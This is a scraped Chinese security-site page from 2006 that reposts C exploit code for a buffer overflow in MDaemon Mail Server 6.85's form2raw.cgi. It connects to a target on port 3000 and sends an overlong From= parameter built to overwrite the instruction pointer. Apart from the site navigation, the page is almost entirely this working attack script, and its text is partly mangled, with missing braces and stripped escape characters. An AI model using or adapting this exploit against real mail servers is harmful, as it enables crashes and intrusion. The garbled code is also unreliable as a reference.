MDaemon Mail Server 6.85 and below FORM2RAW Buffer Overflow

作者：不详 文章来源：安全中国 点击数： 更新时间：2006-8-4 19:25:53

#include <windows.h> #include <stdio.h> #include <winsock.h> #pragma comment (lib,"ws2_32") #define RET 0x1dff160 #define PORT 3000 void main(int argc, char **argv)     SOCKET s = 0;     WSADATA wsaData;     if(argc < 2)     {           fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " "nUsage: %s <target ip> n", argv[0]);       printf("%d",argc);       exit(0);     }     WSAStartup(MAKEWORD(2,0), &wsaData);     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);     if(INVALID_SOCKET != s)     {           SOCKADDR_IN anAddr;           anAddr.sin_family = AF_INET;           anAddr.sin_port = htons(PORT);           anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);                         if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))           {               static char buffer[500];   int i;   memset(buffer,0,sizeof(buffer));   strcpy(buffer,"get /form2raw.cgi?From=");   for(i=0;i<244;i++) {   strcat(buffer,"a");   }   strcat(buffer,"bbbb"); //Overwrites EIP   strcat(buffer,"c");//One byte left after ESP :-(   strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0rnrn");     send(s, buffer, strlen(buffer), 0);   printf("Exploit Sent.");           }   else printf("Error Connecting to The Target.n");           closesocket(s);     } WSACleanup();

【教程录入：残梦    责任编辑：残梦 】
【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

上一篇教程： 微软 JET 的多个漏洞 (Exploit)

下一篇教程： Devotion Proxy 4.4 Stack Overflow Exploit

网友评论：（评论内容只代表网友观点，与浩扬网络立场无关！）

最新推荐

热门文章

赞助商